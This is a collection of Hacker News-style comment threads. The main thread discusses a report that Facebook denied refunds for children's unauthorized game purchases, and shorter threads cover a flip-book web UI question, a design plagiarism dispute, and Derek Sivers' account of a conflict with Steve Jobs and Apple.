Facebook Let Kids Rack Up Charges on Parents' Credit Cards - <AUTHOR> https://www.revealnews.org/article/facebook-knowingly-duped-game-playing-kids-and-their-parents-out-of-money/ <comment><USER2> The issue is Facebook denying refund requests after children were suckered in to make large in-game payments using their parents' stored credit cards.

It's not just that this whole scenario is slimy. It's that Facebook was fully aware of it, had a nice in-house term for it ("friendly fraud"), and not only chose not to approve refunds but also chose not to implement the most basic measures to prevent it.

[edit: as a commenter pointed out, the term "friendly fraud" predated Facebook]

This is symptomatic of a corporate culture that is toxic to to the core.

The money quotes are in the 2 paragraphs below:

"In 2011, Tara Stewart, a risk analyst for Facebook, studied the issue and suggested that the company begin requiring users to enter the first six digits of a credit card used for payments on certain games. Stewart ran a survey of Facebook users and found that many parents were not aware that Facebook stored their payment information after entering it one time. They also found that the kids weren't aware of what they were doing. "It doesn't necessarily look like 'real' money to a minor," Stewart wrote.

She ran a test to see if the entering the cards first six-digits would reduce these unwanted charges and the results were encouraging. She also said it would "make sense to start refunding for blatant FF-minor." The abbreviation "FF" stood for "Friendly Fraud," the term Facebook used to refer to these fraudulent purchases which were made without malicious intent. Despite this obvious solution, Facebook decided that it would harm revenue and elected to continue fighting refund requests for the foreseeable future, the documents show."

<comment><USER3> > "It doesn't necessarily look like 'real' money to a minor,"

This is intentional.

In many games, some things cost "gold" earned by playing the game, and others cost "gems" bought with real money. Or maybe "gold" is the one that costs real money. It's designed to be confusing and hide the distinction between in-game points and real money.

At some point the game companies should bear some of the responsibility for deceiving children.

<comment><USER4> > At some point the game companies should bear some of the responsibility for > deceiving children.

I hope a reckoning is coming in this regard. Many games include mechanics that are hard to distinguish from video slot machines and should be regulated the same way gambling is (rated 18+, audited for "fairness").

<comment><USER5> Unlikely. Society shifted and gambling is stigma free.

My son is old enough that arcades are interesting to him now. I was pretty shocked to see how they have declined into shitty skinner boxes and games of chance to win tickets. That was always a factor, but is much more prominent today.

The casual acceptance of sports betting is another example of that shift. There's probably some free marketeer who will opine that teaching children about gambling is a good thing!

<comment><USER6> Well sports betting has been around forever, but dark patterns and intentional deception in mobile games leads to children being manipulated. Not consenting adults, CHILDREN.

[https://humanetech.com/](https://humanetech.com/)

<comment><USER7> Yeah, I wonder where the parents are when kids do this. Kids don't earn their own money. But I guess expecting parents to actually parent is too much nowadays.

</comment></comment></comment></comment></comment></comment><comment><USER8> "Friendly fraud" is not a Facebook-invented term. It's a term used and understood by card issuers, acquirers, and merchants.

Friendly fraud encompasses:

\- Dissatisfied customers who don't find refuge in a refund policy/process

\- Customers who are embarrassed by their purchases. This situation is commonly triggered when a significant other reads a credit card statement.

\- Customers who spend beyond their means, and then look for a "solution" when the statement comes due

I find it weird the way Facebook seems to be using the term here. These are charges that were never contemplated by the cardholder. There is no "buyer's remorse" dimension.

Friendly fraud is specifically about charges that _are_ agreed by the card holder, but they later change their mind and pretend otherwise.

<comment><USER9> > Dissatisfied customers who don't find refuge in a refund policy/process

It's dangerous to label such things as fraud. Chargebacks are a consumer protection mechanism of last resort as well as a remedy for unauthorized charges. If a merchant doesn't deliver what they promised and doesn't issue the appropriate refund, the merchant is the one engaging in fraud.

<comment><USER10> Chargebacks are a mechanism that can definitely be abused and in those cases would be fraud. I don't see that as dangerous at all. Heck, in posts on these forums people brag about using chargebacks to cancel services because they didn't want to call or follow the guidelines set by the merchant to cancel an account. Whether they're in the right or not that's most certainly bordering abuse of the system.

<comment><USER11> Those merchants don't always have clean hands, either. Lots of services where you can sign up with one click, but canceling requires a lengthy phone call during which they pressure you to stay. And the call has to be during business hours, hope your boss doesn't mind!

Imagine how much worse it'd be if the dispute process didn't exist. "Oops, our only cancellation department employee retired last year and we forgot to replace him!"

</comment></comment></comment></comment><comment><USER12> 1\. Company is on the record as being aware of unauthorized use of parents' credit cards.

1a. Company is aware of channels particularly prone to unauthorized use of credit cards (with Ninja games being presented as the archetype).

2\. Company creates a method for verifying the authority of purchase (and confirms that it works)

3\. Company intentionally does not implement verification method, thus explicitly profiting from known fraud.

Now, I'm very much not a lawyer, but this strikes me as the sort of behavior we would seek criminal penalties for. Has there been any indication that this has been forwarded to the relevant parties for investigation / prosecution?

<comment><USER13> Maybe parents should have a separate login for their kids that doesn't have the CC info saved?

Leaving that saved in the browser is awful close to authorization since there are reasonable, low-effort steps that could be followed by a non-technical user to prevent it from happening.

It's like leaving your card on the kitchen counter and being upset when they order pizza.

<comment><USER14> _> Maybe parents should have a separate login for their kids that doesn't have the CC info saved?_

In at least one case in the article (the 12-year old in Phoenix), the kid apparently did have a separate account; but he asked his mom to let him use her card for what he thought was a one-time purchase, but Facebook stored the card info and behaved like recurring payments had been authorized. (Also the game appears to have been highly non-transparent about when such charges were being incurred.)

So while I agree that the mom would have been well advised not to let the kid use the card for even that one-time purchase, I think that pales in comparison to Facebook's conduct.

</comment></comment></comment><comment><USER15> I explicitly make spending money online harder for myself as a protection from things like this. (Well, primarily I also don't play any games with micro- transactions for one because they're universally a rip-off designed to exploit addictive personalities. Games based around these shady tactics should never have been tolerated, let alone allowed to become the standard to such a degree where even real AAA $60 video games are now infested with this. It's disgusting.) Very few things and services have my payment information saved -- usually just Apple and PayPal have it saved. I never save credit or debit card details to the keychain so the browser doesn't auto-complete it. I always go out of my way to set payment confirmation dialogues to always appear. Whenever I subscribe to something, I use PayPal or the App Store subscription feature. In case it's a yearly recurring subscription, I always go out of my way to cancel auto renewal. If nothing else, I delete the authorisation from PayPal for automatic renewal. I always go and double-check if some place saved my credit card details or not and if they have then I delete them.

While not completely fool-proof, these steps have made it easier to more carefully manage my online spendings and not to suckered into parting with my money.

<comment><USER16> I have the same habits. Every month, I have to enter my payment info for phone,car,etc. They always have that little check box for "save payment info for later". Nope. To the point that my car payment is now done over the phone each month because they changed their website to force you to enter a payment (checking/routing). At the rate sites are getting hacked, I will not enter any more information that required to make it work. As with my auto company, if it requires more info than I want to provide, then I don't use it.

</comment></comment><comment><USER17> Steam / Valve did this for quite a few years until they were taken to court in Australia for their unfair practices. A judge said their refund policy was criminal and intended to deny refunds and fined them a couple million dollars for an estimated 20,000 times. Steam drastically changed their refund policy and evaded fallout everywhere else, but it's probably going to be substantial for Facebook.

[https://www.pcmag.com/news/350574/valve-fined-3m-in- australi...](https://www.pcmag.com/news/350574/valve-fined-3m-in-australia- over-steam-refunds)

<comment><USER18> These two cases seem pretty different to me. Steam wasn't in compliance with Australian refund laws and got in trouble for it. But the Steam case had nothing to do with minors (mostly very young children) making inadvertent purchases.

<comment><USER17> The similarity is the intent to refuse lawful refunds, and probably the scale. Steam never optimized to refuse more refunds though.

</comment></comment></comment><comment><USER19> So, FB not only did this scummy act once, they did it many many times, never tried to remedy it, and never tried to alter the 'pathway' for this to occur, but they had this happen so often that they came up with a nick-name for it?

Like, I knew they were evil, but I didn't think they were stupid too [0].

[0] [https://en.wikipedia.org/wiki/Stringer_Bell#Season_three](https://en.wikipedia.org/wiki/Stringer_Bell#Season_three)

</comment><comment><USER20> It's okay guys, the security of your credit card information is important to them! Also, it's a big responsibility, and they "need to do better."

[https://www.google.com/search?hl=en&q=zuckerberg+"we+need+to...](https://www.google.com/search?hl=en&q=zuckerberg+"we+need+to+do+better")

</comment><comment><USER21> 1) If an individual app developer did something like what Facebook did here, then there is a better than good chance that they would be successfully prosecuted with a crime. Why is the criminal justice system so much more lenient on corporations? If it is just money, then we have to accept that arbitrariness can be bought and paid for by those who can afford it. There are a few voices here that advocate for less prison sentences with whom which I agree with, but white collar crime like the kind in the article isn't punished to the same level of severity when the organization at large is at fault. It seems that the incentives for certain kinds of problematic behavior change when your at scale.

2) If you allow this sort of behavior long enough, then it definitely seeps into the culture, the decision-making of management, and the interactions of all those who work there (full-time, part-time, contractors all included). If bad apples can spoil the bunch, then will certain people refuse to interact, do business with, or hire former Facebook employees? Is there / will there be a "blue shield" for Facebook as there is for law enforcement?

</comment><comment><USER22> Note at the time (2011-2012) there was almost assuredly a lot of incentive at FB to look the other way regarding this kind of fraud, since they were preparing to go public (May 2012). When going public you want to get the best price on your IPO, so I imagine the order from higher up was to push revenue higher and look the other way on these types of issues.

FB's stock dropped 40% in the months after going public, so that incentive to not do anything to impact revenue remained as FB dug themselves out of that hole. It may have even been amplified because internal employees were in lockout period watching the stock drop and wanting to cash out at a good price, and probably were (psychologically) price anchored on the IPO price.

<comment><USER23> Yep, I think this just shows how the push for ever increasing revenue creates a disgusting environment.

Almost every single bad Facebook decision can be traced to them trying to cut corners for increased valuation.

</comment></comment><comment><USER24> > _But the company had discovered that more than 9 percent of the money it > made from children was being clawed back by the credit card companies._

> _In comparison, the average chargeback rate for businesses is 0.5 percent, > according to the Merchant Risk Council, a nonprofit that helps businesses > manage risk._

> _A chargeback rate of 1 percent is considered high, and credit card > companies such as Visa and Mastercard will put businesses on probation > programs for rates consistently that high._

> _The Federal Trade Commission said in an unrelated fraud case in 2016 that a > 2 percent chargeback rate was a "red flag" of a "deceptive" business._

 __Nine percent __chargeback rate. That 's just absolutely nuts.

<comment><USER25> That explains why the security is so lax. The card companies are complicit in the scheme.

</comment></comment><comment><USER26> The article references this URL: [https://ecf.cand.uscourts.gov/cgi- bin/HistDocQry.pl?61603081...](https://ecf.cand.uscourts.gov/cgi- bin/HistDocQry.pl?616030812309732-L_1_0-1) However, that is not accessible without an account and possibly payment for the document. Is this content part of the public domain. If so, can/has it been posted elsewhere?

Edit: I should add that I do see some of the documents reproduced and referenced from elsewhere in the article (e.g. [https://www.documentcloud.org/documents/5694620-Exhibit- OO-R...](https://www.documentcloud.org/documents/5694620-Exhibit-OO- Redacted.html#document/p3/a477371)), however I didn't see any way to access the full collection.

<comment><USER27> [https://www.courtlistener.com/recap/](https://www.courtlistener.com/recap/)

[https://free.law/recap/](https://free.law/recap/)

</comment></comment><comment><USER28> If true, this seems to be one of the more clear cut recent examples of unethical policies devised by Facebook employees. I suspect certain other policies and programs can be mentally justified, but when it comes to very obvious things like this I would think it would have a bigger impact on whether top employees including engineers would be willing to continue working there. Everyone has their own personal line beyond which they'll just decide to move one. I have already read about some people moving on lately but don't know if it's a trend yet.

<comment><USER29> " by Facebook employees"

The buck stops where?

<comment><USER30> A fish rots from the head. But is it just the head that's rotten? No, soon the whole fish is rotten; that's the point.

So yes, Zuck is rotten. And consequently we should expect to find systemic rot through the organization at all but the _very_ lowest levels (the groundskeepers and maintenance guys are probably clean)

</comment></comment></comment><comment><USER31> None of this is unique to Facebook - it plagues the entire industry. I would even argue that games companies are far more complicit in this scheme than any service provider.

<comment><USER32> true, but Facebook is an order of magnitude larger, more integrated and more powerful than the others.

They need to Drawn and Quartered publicly to clean them up. Each of these articles adds up to something very scary.

I expect Amazon is due to a truth telling as well.

</comment></comment><comment><USER33> It's interesting watching Silicon Valley discover the purpose of government regulations from first principles.

<comment><USER34> Nothing old applies to us! Until we invent it here! Again. Its magical.

</comment></comment><comment><USER35> Uhh what the actual fk, the article reversed the meaning of FB emails.

FB encouraged devs to NOT fight the "friendly fraud". "Friendly fraud" is an industry term (just google it). It is when a customer who received goods then calls VISA and asks to refund their purchase.

Anyway. FB told devs "let parents get their money back, don't fight it". But this article says FB told devs "keep committing fraud", which would be just about the opposite.

Obviously, FB should have taken measures to prevent kids from using their parent cards without permission. But just because FB behaved badly, does not mean it's ok for revealnews.org to spread dirty lies.

</comment><comment><USER36> This type of predatory behavior has been happening for a long time. When I was about 9 years old, my brother and I bought Link's Awakening on Gameboy. On the back of the booklet that comes with the game was a line that read, "Need Help? Call this number" with an 900 phone number listed.

We had access to the home phone and wanted to beat the game. So of course, we called the number a few times to get hints on how to beat hards parts of the game. This was before the internet where you could just lookup a walkthrough online.

You can imagine my mother's shock when she received a $200+ charge on her phone bill for a phone number she had never heard of. Apparently the cost of the call was about $5/minute.

We got yelled at and we weren't allowed to call the number anymore after that. I'm proud to say we still beat the game though.

<comment><USER37> I still feel guilty about it every time we recount this story. I remember exactly where I was (on the top bunk) when mom shared the bill with me. I think she had me dial into the number to show her how it worked. To their credit, Nintendo did disclose there was a cost to the service but as I'm sure kids ignore notifications these days, I blindly pressed 7 or whatever because I wanted to get through the next level so badly. It didn't seem like real money. I can't remember if mom made me do excess chores to pay off the debt but I'm guessing she did. I should pay her back the $200 with interest.

</comment></comment><comment><USER38> If Facebook knowingly refused to refund improper transactions, THEY are the ones committing fraud. Plain, old, "screw you, Facebook user" fraud.

</comment><comment><USER39> Personally I think most of the reporting on Facebook is written to drive clicks and ad revenue. It's usually exaggerating the problems.

This story is truly messed up though.

</comment><comment><USER40> We so need credit card tech that puts the card holder in control. Like a 2fa message to accept every single charge no matter how small.

</comment><comment><USER41> Facebook could be run by the Russian mob and people would continue to use it(and Instagram and WhatsApp).

</comment><comment><USER42> Well, if I had any small amount of trust in FB / Zuckerberg to do the right thing, I just lost it.

These are some super shady and deceptive business practices.

</comment><comment><USER43> The modern in-game transactions remind me of simpler exploits from years ago: 900 number phone games.

Back in the 80s, children were bombarded with advertisement of phone based games using a 900 number prefix. 900 numbers are unique in that they charge a fee for use. A child who wanted to play the RoboCop phone game would simply pick up a phone and dial the number. Shortly after, they would get to press numbers on the keypad to choose their own adventures. The games were addictive and expensive. [1]

Eventually, enough parents were ripped off and they fought the system, convincing legislators and regulators to stop the exploitation. This put a complete stop to 900 number games.

[1] [https://guff.com/15-bizarre-1-900-numbers-from- the-80s-and-9...](https://guff.com/15-bizarre-1-900-numbers-from- the-80s-and-90s)

</comment><comment><USER44> It's like facebook are all those evil corporations you see in movies.

</comment><comment><USER45> facebook as a platform provider is guilty as charged.

there is a special form enforced for storing credit card information. Where was QSA?

Credit card providers and game providers should also take their part in responsibility for storing credit card information.

I do not get how is this still possible with 3D secure protocol out there?

</comment><comment><USER46> A friendly fraud implies that the refund was actually made to the customer ([https://en.wikipedia.org/wiki/Friendly_fraud](https://en.wikipedia.org/wiki/Friendly_fraud)). The article states:

""Friendly fraud" is the term Facebook used when children spent money on games without their parents' permission."

That's incorrect and completely reverses the meaning of the internal FB memo. "Friendly Fraud – what it is, why it's challenging, and why you shouldn't try to block it."

(Disclaimer: I work at Facebook but wasn't there at the time.)

</comment><comment><USER47> Probably an unpopular statement, but man does this happen a lot with fortnite. They even have a section in their help pages specifically for unauthorized purchases by family members. Also, they don't seem to care at all about who's payment method is associated with an account. You even get kids taking pictures of their parent's credit cards and passing them around.

</comment><comment><USER48> So they can just return money to all the wronged people now? Or did they already? How about people outside of US?

I mean there would have to be some criteria for deciding who to return money to, but I'm sure they can come up with something less arbitrary than the original decision making that's hinted at in the article.

</comment><comment><USER49> When are you all going to delete your Facebook accounts?

I got 9 friends to install Signal yesterday to help them away from WhatsApp. I'd love to see widespread campaign to encourage people to ditch these parasites we're addicted to.

</comment><comment><USER50> Sad to see that so many smart people in our industry lend themselves to work for Facebook. There are great tech innovations that come out of Facebook, but that doesn't weigh up to the damage they are doing to society.

Sam Harris has released two great podcasts that discuss how Facebook, and other companies like them, choose to earn money from, amongst other things, radicalising and polarising people in our societies:

[https://samharris.org/podcasts/146-digital- capitalism/](https://samharris.org/podcasts/146-digital-capitalism/) [https://samharris.org/podcasts/145-information- war/](https://samharris.org/podcasts/145-information-war/)

and to some extent: [https://samharris.org/podcasts/144-conquering- hate/](https://samharris.org/podcasts/144-conquering-hate/)

I recommend these highly.

</comment><comment><USER51> And this guy (Zucker) was talking running for US president? Whhhoooah

</comment><comment><USER52> Well, the solution is simple -- don't give your kids your credit cards...

</comment><comment><USER53> Who is giving Facebook their credit card? Why?

<comment><USER54> Parent gave the CC to Facebook in order to make one purchase. It isn't always transparent that this payment option is then stored indefinitely, and can be charged on user input without re-evaluating that the charge was initiated by the holder of the CC. This is not necessarily a bad thing, and can be viewed as a convenience-feature. But it has downsides, which Facebook not only seems to be aware of, but seems to welcome.

</comment></comment><comment><USER55> Why is this submission marked as a dupe?

<comment><USER56> [https://news.ycombinator.com/item?id=18937640](https://news.ycombinator.com/item?id=18937640)

<comment><AUTHOR> Hmm, that's an earlier story from the same site announcing that the documents are expected to be released, whereas this link is about what the released documents actually revealed. They are related links, but not quite the same.

<comment><USER57> Ok, we'll de-dupe it.

<comment><USER55> With all due respect, I think his was plainly obvious to someone who even glanced at the submitted story, and shouldn't have had to been explained to mods.

<comment><USER57> Different things are obvious to different people!

</comment></comment></comment></comment></comment></comment><comment><USER58> Is anyone surprised that 11 year-old Johnny "didn't realize" he was spending money? Sounds like parents looking to blame anybody but themselves.

<comment><USER59> That's odd, the article I read _did_ contain specific instances of parents retracting the steps of their spendthrifty offspring which confirmed there was no indication of actual money being spent, e.g.:

 _"I saw all these $19 charges from Facebook," she said. "It added up to nearly $1,000."

She asked her son why he would do that. But he was flabbergasted by the charges too. So Bohannon asked her son to play the game so she could watch what he was doing wrong.

As he played, he occasionally clicked on a corner of the screen that gave him more abilities, such as magical items, or new ninja attacks for his character. It didn't ask if he wanted to pay for it, or let him know that his mom's credit card was being charged.

"There was no indication he was spending money," Bohannon said. "So, 20 minutes later, I rechecked my credit card statement online. And sure enough, there was another $19.99 charge from Facebook."_

<comment><USER60> Holy cow, that's frightening. Mobile games with in-app payments are clear about "These cost gems {or some other bought-with-real-money mcguffin)", but refilling those gems nearly always makes it clear that you're going to have to pay.

<comment><USER42> Facebook payments platform was always far behind Apple & Google Play in terms of transparency.

</comment></comment></comment></comment><comment><USER61> Just don't save payment card information in your Facebook account which you share with an irresponsible minor. If you primarily blame Facebook for this problem, you are failing as a parent.

The fact that it is technically possible for Facebook to validate some purchases and prevent _some_ instances of this problem does not make it Facebook's responsibility not to do something practically equivalent to handing your wallet to a toddler at a carnival.

<comment><USER62> Ah yes, blame the parents.

A _9%_ chargeback rate on payments identified from minors is an awful lot of careless parents. The real fraud rate would be a lot higher as plenty might write it off to experience come credit card bill. Quite often these things are remarkably difficult to cancel too (no idea if that applies to Facebook).

The fact is _many_ of these ongoing payments, and the use of separate game currencies rather than simple $1.99 are deliberately unclear, even to fully clued up adults. That's rather the whole point of them.

<comment><USER61> > _The fact is many of these ongoing payments, and the use of separate game > currencies rather than simple $1.99 are deliberately unclear, even to fully > clued up adults. That 's rather the whole point of them._

Well, so are amusement park tickets. That doesn't mean you are absolved of responsibility for controlling your cash when you go to an amusement park.

<comment><USER63> If your toddler tried to use your credit card at an amusement park to buy $500 worth of cotton candy I imagine the person at the counter would not process it.

<comment><USER34> That is a perfect illustration. Facebook is the cornerstore that will sell your kid 500 in toys and comic books, only to upsell them a pack of camels from my checkout display. It's cool, we already have your daddys credit card from last time, and he said we could use if for his future transactions. And because you are clearly a young child, lacking agency, I will bill him. Yet I will refuse to refund it when dad comes in later. Did I mention I am selling access to your data, also webcams!? Its goddamn terrifying we let it get this far.

</comment></comment></comment></comment></comment><comment><USER64> It's obviously fbs fault that you can't educate your kids or even control them. Fb did not put a phone in your kid's hands to shut him/her up, you did.

</comment><comment><USER65> If my child takes the money that I left on the desk, goes to the shop, buys candies and eats them...can I go to the bank and ask them to give back my crisp bills? Or maybe go to the candy store and whine there?

<comment><USER42> Let me give you an analogy that actually fits the truth:

You went to the candy store with your child and paid via CC. The candy store saved your CC by default, and due to deceptive UX, made it difficult to figure out that you needed to opt-out of the saved CC.

The next day, your child was walking past the candy store and the candy seller runs outside and says, "hey kid, you want this candy? its super good and you can have it for 5 dollars! just take it, its yours!"

kid takes candy, you get charged $5.

and in reality, even the "you can have it for 5 dollars" part is generous. facebook did not require the game developers to make it obvious when things cost real money or not.</comment></comment>


Ask HN: how to make flipping book interface? - <AUTHOR>

a noob questions: I was wondering if it will be possible to implement the flipping-book kinda reading interface without using flash? if yes, how to?<p>update: by interface, i mean the web interface.. <comment><USER2> It's almost certainly possible with javascript, although it'd be tricky. I'd personally look at jquery UI for similar transitions.

If you're interested in nifty interface design, watch the development of the new searchlightdigital site (mine) over the next few weeks, at searchlightdigital.com/test1.php

Various things coming.

<comment><AUTHOR> thanks a lot.. i found something with jQuery.. <http://jpageflipper.codeplex.com/></comment></comment>


Inspiration or Plagiarism? - <AUTHOR> http://www.kashflow.com/blog/am-i-paranoid/

<comment><USER2> Sorry, I don't see it. I've seen plenty of plagiarized, copied designs but watching the first 1 minute of both videos, I don't see much resemblance at all.

And you can't say you have dibs on speech bubbles or even arrows, come on! (They use alot of stock photos and 3d icons, compared to your flat 2 drawings. There's quite a bit of styling difference as well)

Your own logo is a direct copy of a commonly used refresh/replay/continuous icon that is available as stock over the web – so I'd be a bit more hesitant before jumping on the internet (where things are recorded 'forever') before slinging plagiarize/inspiration-less accusations at your rivals.

</comment><comment><USER3> Hmmm... was looking at signing up for online accountancy package today. Went to Kashflow and saw their page on API with a headline 'Welcome, Code Monkeys.'

Their whole business is software and yet that they try to be so desperately cool, to me shows that they see, even their own, developers just as a service and not as valuable, core team.

<comment><USER4> Then we are giving you the wrong impression. I'm the founder, I'm a programmer. The biggest team we have here are the programmers - not sales, marketing, support - programmers.</comment></comment>


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Coming soon design unlike any other - <AUTHOR> http://paperi.st/

<comment><USER2> I suspect the conversion rate will be horrendous.

<comment><USER3> This. So much this.

</comment></comment><comment><USER4> If it is this hard to 'express' our email address I'm not particularly excited about how we might express our ideas using this...</comment>


The day Steve Jobs dissed me in a keynote (2010) - <AUTHOR> http://sivers.org/itunes <comment><USER2> > I flew home that night, posted my meeting notes on my website, emailed all > of my clients to announce the news, and went to sleep.

> When I woke, I had furious emails and voicemails from my contact at Apple.

How was this unexpected? Who goes to a business meeting with a potential partner that can make your business soar, and then goes and blabs all over the internet about the partner's business strategy. Who does that shit?

He literally published Apple's perfected pitch and detailed strategy online the very next day:

[http://apple.slashdot.org/comments.pl?sid=66729&cid=6133882](http://apple.slashdot.org/comments.pl?sid=66729&cid=6133882)

Apple & CD Baby's partnership was ultimately very beneficial for both companies, but Derek certainly went a bit overboard publishing those meeting notes.

<comment><USER3> >> _Who goes to a business meeting with a potential partner that can make your business soar, and then goes and blabs all over the internet about the partner 's business strategy_

One who has thousands of people(and more who can be potential independent businesses(musicians/singers) on his portal) to communicate to in a short time and the other guy(business) who never mentioned[0] secrecy[1].

[0] Yes, you out to have done that. [1] Source: post.

<comment><USER2> I agree that he needed to communicate with the artists. The problem is the level of detail of the notes he shared. Did you read through his notes? Those notes were a perfected business plan handed to Yahoo / eMusic / Rhapsody, and a bit of a slap in the face to the major labels.

I have mixed feeling about whether it was right for Steve to be vindictive, but I am certain I would be pissed.

<comment><USER4> Everything the guy did just screams amateur. The first issue is posting information about a deal _before_ a contract has been signed. However, I'd argue that the bigger issue is the $40 price tag that was slapped onto the iTunes upload service. The record label is already making money off of its customers through sales on iTunes; why on _Earth_ would you cheapen the service by making it seem like anyone with $40 cash-in-hand can become part of the iTunes catalog? The fact that the author made $200,000 (!) in iTunes service sales alone says a lot.

<comment><USER2> My understanding is CD Baby was never a 'label'. They chose a service model and operated more like a fulfillment service. E.g. we will store and ship CDs to customers for a fee, we will upload your stuff to iTunes for a fee, etc. Charging $40 to upload to itunes seems very reasonable. If Apple wanted to allow anyone anywhere to upload to iTunes with no quality control, they wouldn't use partners like CDBaby.

Furthermore, it makes no sense to think Apple was pissed about the $40 since that happened after Apple got pissed.

You can see CDBaby's pricing here: [http://members.cdbaby.com/cd-baby- cost.aspx](http://members.cdbaby.com/cd-baby-cost.aspx)

It looks like a very fair deal for small artists to me.

> Everything the guy did just screams amateur.

I disagree. At the very least, he is very smart. If you read those notes, it is clear that he has an incredible ability to distill and communicate what was important.

</comment></comment></comment></comment></comment><comment><USER5> Brings back memories.

After a series of emails with Steve Jobs --all while I was coding at four in the morning!-- my then partner and I flew to Cupertino for a meeting with VP's directly under him and about thirty engineers and managers from various areas of the organization. We brought with us nearly a million dollars of equipment to put on a good demonstration and illustrate our technology. Apple asked us to develop a product they needed. We threw a ton of money and effort at the task and got it done in three months (a redesign of an existing product). They started to promote the product, gave us a direct link on their website to ours. It was amazing.

Six months later a cheaper (20% of our price) bad quality product (among other things, there were reports of it catching fire) came into the scene. Apple dropped us like a hot potato. We lost a ton of time and money on the deal.

Am I angry? Nope. I have enough experience dealing with large companies to know you should go into these deals nearly expecting the worst corner cases. This, I think, is certainly true for small companies. Besides, I had a conversation with Steve Jobs at four in the morning. Perhaps that alone was worth the cost of admission...and I am not even close to being an Apple fan boy.

As for the OP, I don't think he was very wise in posting meeting info as he did.

<comment><USER6> "Am I angry? Nope."

Usually when people do get angry about these things it's because _they don 't have_ what you say next, in other words they haven't been around the block:

"I have enough experience"

More directly people get mad when you feel naive that you expected something and were fooled. In other words "I'm loyal to that girl and now she cheated on me". So you are mad at yourself for trusting and feeling fooled.

Sivers of course will most likely never make that type of mistake again. He has learned from the situation. If he does do the same thing though it will be with full knowledge of the possible outcome.

<comment><USER5> And that's probably true. I can't remember the first time I felt I got shafted (personally or in business) but I am sure I was fuming angry. There's truth to the concept of growing a thick skin. You really need it for business.

</comment></comment></comment><comment><USER7> 'Whatever. Fucking Apple.'

As a developer, I find myself saying that more often than I would like. Glad this isn't just a developer thing that Apple does - it seems like a consistent part of their DNA.

<comment><USER8> Your _glad_ about that?

<comment><USER7> You don't see the sarcasm there?

<comment><USER8> No, I didn't. I'm happily wrong though. :)

I thought it was a bit of schadenfreude or just happiness that developers weren't being singled out.

Poe's law is alive and well on HN, so I find it hard to spot sarcasm here unless it's fairly overt.

</comment></comment></comment></comment><comment><USER9> Not to be an apologist, but it seems like Apple's actions make a lot of sense.

First of all, who posts meeting notes from meetings with top executives when given a heads up about upcoming products? NOBODY. Of course it's confidential by default.

Second, Apple was right to presume a company charging to get music in the App Store would likely provide lower quality music. Charging for access completely reverses the motivation of record companies. Until they were ready to open the floodgates, excluding companies that charged was a reasonable if rough quality filter.

<comment><USER10> Wow.

In another thread, we have links to the Debian project leader politely and directly talking to someone who is causing an issue for them, suggesting pathways for a relatively win-win resolution. He got labelled as treating the guy poorly.

Here we have Apple responding like a spoiled brat "What, how dare you do that! Take it down! Now we're going to do stuff without telling you, changing the bargain from our side, and make snide sideways remarks directed at you. We'll cut off communication and you have to guess at why we're doing this" and they get a pat on the head.

<comment><USER11> It's almost like the comments were posted by different people!

<comment><USER12> I hope you don't mind when I use that one the next time someone brings up some mystifying schism between comments made by "people on the Internet".

</comment></comment></comment></comment><comment><USER13> " Whatever. Fucking Apple"

Just about sums it all up, really.

<comment><USER14> Story of my life!

</comment></comment><comment><USER15> There's a great expression that is especially useful when dealing with big companies: "Never ascribe to malice that which is adequately described by incompetency." [1]

While it's tempting to think that Jobs was pulling all the strings, the reality is that Apple is a large company where legal departments take forever, internal debate occur, and communication is slow.

It sucks that Jobs made that $40 statement without someone vetting (or caring) that they were negotiating with CDBaby and that's their price. It sucks that Apple did not communicate better about the reason for the delay. But doing enterprise deals is nothing like working with an individual, and in that context I wouldn't simply assume that Apple/Jobs was being spiteful.

[1] [https://en.wikipedia.org/wiki/Hanlon's_razor](https://en.wikipedia.org/wiki/Hanlon's_razor)

<comment><USER6> Look Jobs could be the way he is because he has things that people want (I don't mean Apple products so much as what someone like Jobs is able to do for someone economically).

If he didn't have those things nobody would pay attention to him or care about him other than the base level that anyone cares about anyone day to day. He knows that. Same as some pretty girls know why guys are interested in them. (Or rich guys hopefully know why girls are interested in them). It's a symbiotic relationship.

</comment></comment><comment><USER16> Long story short, dont trust others with your business. I have seen this dozens of times where a smaller company gets really excited because they are working with the big brute, and they get screwed because the big boy gets to make all the terms, and if/when they break the contract or act like complete assholes, you have really no recourse.

</comment><comment><USER17> Big entities can afford to be arrogant and are well known to pay with promises instead of money. Silicon Valley is full of skulls and bones of little guys who got too excited too soon.

Business as usual until papers are fully signed and money in the bank.

<comment><USER18> Really the second half. It's the money in the bank. :-)

<comment><USER17> Right. I'll ditch papers for money.

</comment></comment></comment><comment><USER19> Yup, Steve Jobs was an arsehole.

<comment><USER20> This is why I think Apple will do better with Cook, Ive, Federighi, and Schiller as the frontmen. They can collaborate and judge what's best uninterrupted by the arrogant ramblings of Holy Jobs.

<comment><USER21> I suspect that Apple define success with their own metrics. There are a few measures by which Apple is already the best - which areas do you think a Cook Apple might target? From the short Post-Jobs era, I'd say that Apple was more secretive, and quicker to acknowledge fault.

</comment></comment></comment><comment><USER22> Previous discussion: [https://news.ycombinator.com/item?id=1896189](https://news.ycombinator.com/item?id=1896189)

<comment><USER23> Baffles me why the dupe-detector didn't work here? Exact URL after all, it seems.

<comment><USER24> It was submitted 945 days ago, if I remember correctly there is a time limit.

<comment><USER25> HN allows reposts after X amount of time. There are people out there, like myself, who haven't read this article yet.

</comment></comment></comment></comment><comment><USER26> I'm somewhat amused that many here mention the amateurishness of Sivers' behaviour, yet there's no mention of Jobs' passive-aggressive bullshit.

"But we realize record companies do a great service. They edit! Did you know that if you and I record a song, for $40 we can pay a few of the services to get it on their site, through some intermediaries? We can be on Rhapsody and all these other guys for $40?"

Dude, what a pompous douchebag. You got a problem with what I did, tell me. Just don't screw around, sending mixed signals in a very roundabout way in the hope that I get it, because you're too scared of any confrontation in your Garden of Reality Distortion. I know Apple likes being this impenetrable Kremlin, but this is just plainly taking pages from Stalin's Guide to Management. "Did you know some CEO from a very successful tech company is a pompous douchebag?..."

</comment><comment><USER27> I think the problem was charging $ 40 to get to iTunes. Either you give the full catalog or you don't but it shouldn't be something you can purchase.

<comment><USER28> The $40 was a service fee to cover the cost of having someone at CDBaby go into the warehouse, pick up a copy of the CD, put it into the CD drive, type in all the album, artist and track info and hitting "scan" and then putting it back when things are done. Doesn't sound like that big of a deal, you could do it for "free" yourself at home. But if CDBaby had to do 5000 of them there's a real cost associated. For a lot of people it's worth $40 to not have to think about anything and for it to "just work".

<comment><USER29> As I read the article, I couldn't figure out why Derek and cdbaby didn't just script a solution to submit the data appropriately from his already amassed archive (which he could then sell as another service on the side).

